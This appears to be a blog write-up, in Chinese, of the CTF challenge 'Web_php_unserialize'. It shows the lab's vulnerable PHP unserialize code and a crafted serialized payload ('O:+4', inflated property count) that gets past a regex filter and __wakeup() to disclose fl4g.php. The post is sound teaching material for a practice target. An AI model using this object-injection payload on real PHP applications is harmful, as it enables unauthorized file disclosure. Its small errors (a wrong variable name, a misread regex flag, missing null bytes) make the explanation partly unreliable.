攻防世界:web——Web_php_unserialize

靶场内容:

<?php 
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
if (isset($_GET['var'])) { 
    $var = base64_decode($_GET['var']); 
    if (preg_match('/[oc]:\d+:/i', $var)) { 
        die('stop hacking!'); 
    } else {
        @unserialize($var); 
    } 
} else { 
    highlight_file("index.php"); 
} 
?>

很显然,解题的关键点有两个:

  • function __wakeup() :这个方法的存在阻止我们将序列化文件传入
  • preg_match('/[oc]:\d+:/i', $var):这个过滤器的存在阻止我们的序列化参数

/[oc]:\d+:/i是一个正则表达:

  • [oc] 匹配所有的o和c两个字符
  • \d 匹配所有整数
  • /i 匹配所有的字母

也就是说,我们如果输入任意的序列化参数,都会被搞掉
题目告诉了我们flag文件是fl4g.php

我们可以生成序列化:

$a = new Demo('fl4g.php');
echo serialize($b);

序列化是这样的 O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}
我们可以稍作修改,比如:
O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}
再用base64编码,传递var参数,就可以直接得到flag了

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Zeker62

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值